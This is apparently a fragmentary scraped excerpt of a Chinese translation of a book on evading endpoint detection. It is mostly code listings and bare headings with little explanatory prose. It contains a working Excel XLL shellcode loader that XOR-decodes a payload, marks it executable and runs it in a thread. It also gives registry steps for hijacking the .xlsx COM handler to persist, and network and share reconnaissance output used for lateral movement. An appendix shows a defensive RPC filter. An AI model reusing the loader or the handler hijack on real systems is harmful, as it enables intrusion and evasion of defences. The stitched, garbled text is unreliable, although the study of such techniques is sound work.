hNtdll = GetModuleHandle(L"ntdll");
❶ pfnNtQuerySystemInformation =
(NtQuerySystemInformation)GetProcAddress(
hNtdll, "NtQuerySystemInformation");
pfnNtQuerySystemInformation(
❷ SystemModuleInformation,
&ModuleInfo,
sizeof(ModuleInfo),
NULL);
wprintf(L"Kernel Base Address: %p\n",
❸ (ULONG64)ModuleInfo.Modules[0].ImageBase);
}
结论
第十三章:13 案例研究:检测意识攻击

交战规则
初始访问
编写有效载荷
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C"
__declspec(dllexport) short __stdcall xlAutoOpen()
{
❶ const char shellcode[] = `--snip--`
const size_t lenShellcode = sizeof(shellcode);
char decodedShellcode[lenShellcode];
❷ const char key[] = "specter";
int j = 0;
for (int i = 0; i < lenShellcode; i++)
{
if (j == sizeof(key) - 1)
{
j = 0;
}
❸ decodedShellcode[i] = shellcode[i] ^ key[j];
j++;
}
❹ PVOID runIt = VirtualAlloc(0,
lenShellcode,
MEM_COMMIT,
PAGE_READWRITE);
if (runIt == NULL)
{
return 1;
}
❺ memcpy(runIt,
decodedShellcode,
lenShellcode); DWORD oldProtect = 0;
❻ VirtualProtect(runIt,
lenShellcode,
PAGE_EXECUTE_READ,
&oldProtect);
❼ CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)runIt,
NULL,
NULL,
NULL);
Sleep(1337);
return 0;
}
投放有效载荷
执行有效载荷
建立命令与控制
规避内存扫描器
持久性
度量
评估
可靠性
高度可靠
可预测性
高度可预测
所需权限
本地管理员
所需的用户或系统行为
触发时系统必须连接到网络
检测风险
非常高
度量标准
评估
可靠性
高度可靠
可预测性
不可预测
所需权限
标准用户
所需的用户或系统行为
用户必须在资源管理器中浏览目标文件类型,并启用预览窗格,或者搜索索引器必须处理该文件
检测风险
目前较低,但容易被检测到
侦察
特权升级
获取常用用户列表
劫持文件处理程序
选择文件扩展名
修改 PowerShell 脚本
执行 PowerShell 脚本
构建恶意处理程序
编译处理程序
注册处理程序
键
值
描述
SOFTWARE\Classes\Excel.WorkBook.16\CLSID
提供 ProgID 到 CLSID 的映射
SOFTWARE\Classes\CLSID{1CE29631 -7A1E-4A36-8C04-AFCCD716A718}\ProgID
ExcelWorkBook.16
提供 CLSID 到 ProgID 的映射
SOFT-WARE\Classes\CLSID{1CE29631-7A1E -4A36-8C04-AFCCD716A718}\InprocServer32
C:\path\to\our\handler.dll
指定我们恶意处理程序的路径
PS > **$type = [Type]::GetTypeFromProgId(Excel.Workbook.16)**
PS > **$obj = [Activator]::CreateInstance($type)**
PS > **$obj.GetMembers()**
部署处理程序
注册表键
操作
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts.xlsx\UserChoice
删除
SOFTWARE\Microsoft\Windows\CurrentVer-si-on\Explorer\FileExts.xlsx\UserChoice
创建
SOFTWARE\Microsoft\Windows\CurrentVer-si-on\Explorer\FileExts.xlsx\UserChoice\Hash
设置值
SOFTWARE\Microsoft\Windows\CurrentVer-si-on\Explorer\FileExts.xlsx\UserChoice\ProgId
设置值
横向移动
寻找目标
====== TcpConnections ======
Local Address Foreign Address State PID Service ProcessName
0.0.0.0:135 0.0.0.0:0 LISTEN 768 RpcSs svchost.exe
0.0.0.0:445 0.0.0.0:0 LISTEN 4 System
0.0.0.0:3389 0.0.0.0:0 LISTEN 992 TermService svchost.exe
0.0.0.0:49664 0.0.0.0:0 LISTEN 448 wininit.exe
0.0.0.0:49665 0.0.0.0:0 LISTEN 1012 EventLog svchost.exe
0.0.0.0:49666 0.0.0.0:0 LISTEN 944 Schedule svchost.exe
0.0.0.0:49669 0.0.0.0:0 LISTEN 1952 Spooler spoolsv.exe
0.0.0.0:49670 0.0.0.0:0 LISTEN 548 Netlogon lsass.exe
0.0.0.0:49696 0.0.0.0:0 LISTEN 548 lsass.exe
0.0.0.0:49698 0.0.0.0:0 LISTEN 1672 PolicyAgent svchost.exe
0.0.0.0:49722 0.0.0.0:0 LISTEN 540 services.exe
10.1.10.101:139 0.0.0.0:0 LISTEN 4 System
10.1.10.101:51308 52.225.18.44:443 ESTAB 984 edge.exe
10.1.10.101:59024 34.206.39.153:80 ESTAB 984 edge.exe
10.1.10.101:51308 50.62.194.59:443 ESTAB 984 edge.exe
10.1.10.101:54892 10.1.10.5:49458 ESTAB 2544 agent.exe
10.1.10.101:65532 10.1.10.48:445 ESTAB 4 System ❶
枚举共享
====== NetworkShares ======
Name : FIN
Path : C:\Shares\FIN
Description :
Type : Disk Drive
Name : ENG
Path : C:\Shares\ENG Description :
Type : Disk Drive
Name : IT
Path : C:\Shares\IT
Description :
Type : Disk Drive
`--snip--`
[*] Completed collection in 0.121 seconds
文件提取

结论
附录 辅助数据源

替代的挂钩方法
RPC 过滤器
netsh> **rpc filter**
netsh rpc filter> **add rule layer=um actiontype=block**
Ok.
netsh rpc filter> **add condition field=if_uuid matchtype=equal \**
**data=e3514235-4b06-11d1-ab04-00c04fc2dcd2**
Ok.
netsh rpc filter> **add filter**
FilterKey: 6a377823-cff4-11ec-967c-000c29760114
Ok.
netsh rpc filter> **show filter**
Listing all RPC Filters.
-----------------------------
filterKey: 6a377823-cff4-11ec-967c-000c29760114
displayData.name: RPCFilter
displayData.description: RPC Filter
filterId: 0x12794
layerKey: um
weight: Type: FWP_EMPTY Value: Empty
action.type: block
numFilterConditions: 1
filterCondition[0]
fieldKey: if_uuid
matchType: FWP_MATCH_EQUAL
conditionValue: Type: FWP_BYTE_ARRAY16_TYPE Value: e3514235 11d14b06 c00004ab d2dcc24f
An RPC call was blocked by an RPC firewall filter.
ProcessName: lsass.exe
InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2
RpcFilterKey: 6a377823-cff4-11ec-967c-000c29760114
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994
-A5BA-3E3B0328C30D}" />
<EventID>5157</EventID>
<Version>1</Version>
<Level>0</Level>
<Task>12810</Task>
<Opcode>0</Opcode>
<Keywords>0x8010000000000000</Keywords>
<TimeCreated SystemTime="2022-05-10T12:19:09.692752600Z" />
<EventRecordID>11289563</EventRecordID>
<Correlation />
<Execution ProcessID="4" ThreadID="3444" />
<Channel>Security</Channel>
<Computer>sun.milkyway.lab</Computer>
<Security />
</System>
<EventData>
<Data Name="ProcessID">644</Data>
<Data Name="Application">\device\harddiskvolume2\windows\system32\lsass.exe</Data>
<Data Name="Direction">%%14592</Data>
<Data Name="SourceAddress">192.168.1.20</Data>
<Data Name="SourcePort">62749</Data>
<Data Name="DestAddress">192.168.1.5</Data>
<Data Name="DestPort">49667</Data>
<Data Name="Protocol">6</Data>
<Data Name="FilterRTID">75664</Data>
<Data Name="LayerName">%%14610</Data>
<Data Name="LayerRTID">46</Data>
<Data Name="RemoteUserID">S-1-0-0</Data>
<Data Name="RemoteMachineID">S-1-0-0</Data>
</EventData>
</Event>
虚拟机监控程序
虚拟机监控程序的工作原理



安全用例
规避虚拟机监控器


浙公网安备 33010602011771号